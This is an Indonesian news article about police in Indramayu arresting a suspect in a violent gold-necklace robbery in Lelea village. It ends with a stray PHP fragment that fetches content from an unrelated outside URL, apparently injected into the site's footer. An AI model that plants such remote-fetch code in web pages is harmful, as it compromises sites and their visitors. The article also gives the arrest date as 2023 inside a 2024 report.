Pelaku Curas di Desa Lelea, Dibekuk Polisi

Senin, 9 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indramayu l Jejakkasus.info – Kapolres Indramayu AKBP Ari Setyawan Wibowo, mengatakan bahwa Unit Resmob Satreskrim Polres Indramayu bersama Unit Reskrim Polsek Lelea, berhasil meringkus tersangka tindak pidana Pencurian dengan Kekerasan (Curas) di Desa Lelea, Kecamatan Lelea, Kabupaten Indramayu, Provinsi Jawa Barat.

“Pelaku, berinisial K (38), warga Desa Sudimampir Lor, Kecamatan Balongan, Kabupaten Indramayu,” kata Ari, Senin (9/9/2024), saat menggelar press release di Mako Polres Indramayu.

Baca Juga:  Respon Cepat Polsek Jatibarang Datangi TKP Pencurian di Mini Market Alfa Mart Desa Kebulen

Menurut Ari, penangkapan pelaku, bermula dari laporan polisi terkait kejadian Curas yang menimpa korban bernama Lasimpen (59), warga Desa Lelea.

Kejadian tersebut terjadi ketika korban sedang mengambil air di sumur, dan dua pelaku yang mengendarai sepeda motor merek Yamaha N-Max warna merah merampas kalung emas milik korban, mengakibatkan korban terjatuh dan terluka.

“Dalam penyelidikan yang kami lakukan, tersangka K berhasil ditangkap pada 31 Agustus 2023 sekitar pukul 23.00 WIB. Namun, satu pelaku lainnya masih dalam pengejaran dan berstatus DPO,” kata Ari.

Baca Juga:  Polisi Ungkap Penimbun Ribuan Liter Solar Subsidi di Indramayu

Sejumlah barang bukti yang diamankan, kata Ari, di antaranya surat-surat emas, sepeda motor merek Yamaha N-Max, serta visum et repertum milik korban.

“Pelaku K diketahui berperan sebagai joki, sementara pelaku DPO yang dibonceng bertugas merampas kalung emas korban.” kata Ari.

Atas perbuatannya, kata Ari, pelaku dijerat Pasal 365 ayat (1) dan ayat (2) ke-2 KUHP dengan ancaman hukuman maksimal 12 tahun penjara.

Baca Juga:  Satreskrim Polres Inhil Ringkus Pelaku Penjambretan di Tembilahan

“Kepada masyarakat untuk segera melaporkan setiap kejadian yang mencurigakan atau berpotensi mengganggu Kamtibmas melalui layanan “Lapor Pak Polisi Siap Mas Indramayu” di nomor 081999700110 atau call center 110,” kata Kapolres Indramayu.

“Langkah ini, diharapkan dapat memperkuat partisipasi masyarakat dalam menjaga keamanan lingkungan mereka,” imbuh Ari.

Penulis : Erdan Faizal

Editor : Singoradjo

Sumber Berita : Humas Polres Indramayu

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Selasa, 24 September 2024 - 18:23 WIB

Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>